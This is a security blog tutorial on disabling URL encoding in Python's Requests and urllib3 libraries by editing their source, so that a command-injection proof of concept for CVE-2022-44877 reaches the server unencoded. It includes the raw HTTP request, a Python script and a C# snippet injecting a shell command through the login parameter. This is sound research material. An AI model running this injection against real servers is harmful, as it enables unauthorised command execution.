Python Development Tips - Disabling URL Encoding in the Requests Library

Onedaysec
5 min read
3 views
docx image 1770015138197 0 e722ddc233

0x00 Preface

---

While using the Python Requests library to send HTTP packets, I discovered that the Requests library encodes URLs by default. However, when testing certain vulnerabilities, triggering the vulnerability requires the raw data of the URL, necessitating the disabling of URL encoding functionality. This article will introduce my solution and document the research details.

0x01 Introduction

---

This article will cover the following:

  • Test Environment
  • Solution

0x02 Test Environment

---

While researching CVE-2022-44877, I encountered the following situation:

The POC for achieving file write is as follows:

POST /login/index.php?login=$(touch${IFS}/tmp/pwned) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login

Based on the POC, we can write the corresponding Python test code:

headers = {
"Cookie": "cwpsrv-7ed373abced7574da1245607e756e862=nfetkn56pkkdbqhht2hpl46bsa",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
}

proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
url = target_url + "/login/index.php?login=$(touch${IFS}/tmp/pwned)"
data = "username=root&password=toor&commit=Login"
response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=500, proxies=proxies)
print(response.status_code)

For testing purposes, the Python test code adds a proxy when sending POST data, allowing us to observe the actual content sent using BurpSuite, as shown in the figure below

0x02 Test Environment — technical illustration 1

We can observe that the URL here has been encoded. The original data: /login/index.php?login=$(touch${IFS}/tmp/pwned) was encoded to /login/index.php?login=$(touch$%7BIFS%7D/tmp/pwned), which would cause the exploit to fail.

0x03 Solution

---

After some searching, I did not find a publicly available solution, so I decided to examine the details of the Requests library. By modifying the implementation code of the Requests library, I removed the URL encoding functionality.

The location of the Python Requests library code on Kali is /usr/lib/python3/dist-packages/requests/. Specifically, the following two locations need to be modified:

1. /usr/lib/python3/dist-packages/requests/models.py

In the function def prepare_url(self, url, params) in /usr/lib/python3/dist-packages/requests/models.py, the code details are:

Line 443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))

To view the specific implementation code of requote_uri(), the location is: /usr/lib/python3/dist-packages/requests/utils.py, code details:

def requote_uri(uri):
"""Re-quote the given URI.

This function passes the given URI through an unquote/quote cycle to
ensure that it is fully and consistently quoted.

:rtype: str
"""
safe_with_percent = "!#$%&'()*+,/:;=?@[]~"
safe_without_percent = "!#$&'()*+,/:;=?@[]~"
try:
# Unquote only the unreserved characters
# Then quote only illegal characters (do not quote reserved,
# unreserved, or '%')
return quote(unquote_unreserved(uri), safe=safe_with_percent)
except InvalidURL:
# We couldn't unquote the given URI, so let's try quoting it, but
# there may be unquoted '%'s in the URI. We need to make sure they're
# properly quoted so they do not cause issues elsewhere.
return quote(uri, safe=safe_without_percent)

Here the quote() function is called to encode the uri, { is encoded as %7B, } is encoded as %7D

Solution:

Modify the file /usr/lib/python3/dist-packages/requests/models.py

Comment out Line443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))

2./usr/lib/python3/dist-packages/urllib3/connectionpool.py

In the function def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None) in /usr/lib/python3/dist-packages/requests/adapters.py, code details:

try:
if not chunked:
resp = conn.urlopen(
method=request.method,
url=url,
body=request.body,
headers=request.headers,
redirect=False,
assert_same_host=False,
preload_content=False,
decode_content=False,
retries=self.max_retries,
timeout=timeout,
)

View the specific implementation code of urlopen(), location: /usr/lib/python3/dist-packages/urllib3/connectionpool.py, code details:

def urlopen(
self,
method,
url,
body=None,
headers=None,
retries=None,
redirect=True,
assert_same_host=True,
timeout=_Default,
pool_timeout=None,
release_conn=None,
chunked=False,
body_pos=None,
**response_kw
):
# Ensure that the URL we're connecting to is properly encoded
if url.startswith("/"):
url = six.ensure_str(_encode_target(url))
else:
url = six.ensure_str(parsed_url.url)

View the specific implementation code of _encode_target(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def _encode_target(target):
"""Percent-encodes a request target so that there are no invalid characters"""
path, query = TARGET_RE.match(target).groups()
target = _encode_invalid_chars(path, PATH_CHARS)
query = _encode_invalid_chars(query, QUERY_CHARS)
if query is not None:
target += "?" + query
return target

View the specific implementation code of parsed_url(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def parse_url(url):
if normalize_uri and query:
query = _encode_invalid_chars(query, QUERY_CHARS)

Both of the above parts ultimately point to _encode_invalid_chars(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def _encode_invalid_chars(component, allowed_chars, encoding="utf-8"):
"""Percent-encodes a URI component without reapplying
onto an already percent-encoded component.
"""
if component is None:
return component

component = six.ensure_text(component)

# Normalize existing percent-encoded bytes.
# Try to see if the component we're encoding is already percent-encoded
# so we can skip all '%' characters but still encode all others.
component, percent_encodings = PERCENT_RE.subn(
lambda match: match.group(0).upper(), component
)

uri_bytes = component.encode("utf-8", "surrogatepass")
is_percent_encoded = percent_encodings == uri_bytes.count(b"%")
encoded_component = bytearray()

for i in range(0, len(uri_bytes)):
# Will return a single character bytestring on both Python 2 & 3
byte = uri_bytes[i : i + 1]
byte_ord = ord(byte)
if (is_percent_encoded and byte == b"%") or (
byte_ord < 128 and byte.decode() in allowed_chars
):
encoded_component += byte
continue
encoded_component.extend(b"%" + (hex(byte_ord)[2:].encode().zfill(2).upper()))

return encoded_component.decode(encoding)

Here, _encode_invalid_chars() is called to encode the URL

Solution:

Modify the file /usr/lib/python3/dist-packages/urllib3/connectionpool.py

Remove the following code in urlopen():

Line649 if url.startswith("/"):
Line650 url = six.ensure_str(_encode_target(url))
Line651 else:
Line652 url = six.ensure_str(parsed_url.url)

Observe the actual content sent again using BurpSuite, as shown in the figure below

Solution: — technical illustration 2

URL not encoded, issue resolved

0x04 Solution 2

---

Here, C# can also be used to implement sending POST data, avoiding URL encoding. The implementation code is as follows:

String target = args[0] + "/login/index.php?login=$(touch${IFS}/tmp/pwned)";
bool dontEscape = true;
var url = new Uri(target, dontEscape);
HttpWebRequest hwr = WebRequest.Create(url) as HttpWebRequest;

0x05 Summary

---

This article introduces the method of disabling URL encoding by modifying the Python Requests library, and also provides the implementation code for disabling URL encoding in C#, documenting the research details.

Related Questions & Answers

Is there an alternative way to send unencoded URLs without modifying the Requests library, perhaps using another language?

Yes, the article mentions using C# as an alternative. By writing a C# program to send the HTTP POST request directly, you can avoid the URL encoding that Python’s Requests library enforces. This approach bypasses the need to modify system library files, though it requires a different development environment.

What does the `requote_uri` function do in the Requests library, and why is it the first step to disable encoding?

The `requote_uri` function in `requests/utils.py` passes the URI through an unquote/quote cycle using the `quote()` call, which percent‑encodes illegal characters like `{` to `%7B`. By commenting out the call to `requote_uri` in `models.py`, you stop the Requests library from applying its default encoding, leaving the raw URL intact as needed for exploit testing.

What specific modifications are needed in the Requests and urllib3 libraries to disable URL encoding?

You need to modify two files. First, in `/usr/lib/python3/dist-packages/requests/models.py`, comment out line 443: `url = requote_uri(urlunparse(...))`. Second, in `/usr/lib/python3/dist-packages/urllib3/connectionpool.py`, remove or comment out lines 649–652 that call `_encode_target()` and `parsed_url.url`. These changes prevent the library from re‑encoding the URL before sending the request.

Why does the Python Requests library encode URLs by default, and how does this cause issues when testing exploits like CVE-2022-44877?

The Requests library automatically encodes URLs using the `requote_uri` function to ensure they are properly formatted according to RFC standards. However, when testing exploits such as CVE-2022-44877, the payload requires raw, unencoded characters like `$`, `{`, and `}` to trigger the vulnerability. If the URL is encoded (e.g., `%7B` for `{`), the exploit will fail. This is detailed in [Python Development Tips - Disabling URL Encoding in the Requests Library](/news/python-development-tips-disabling-url-encoding-in-the-requests-library).

Continue Reading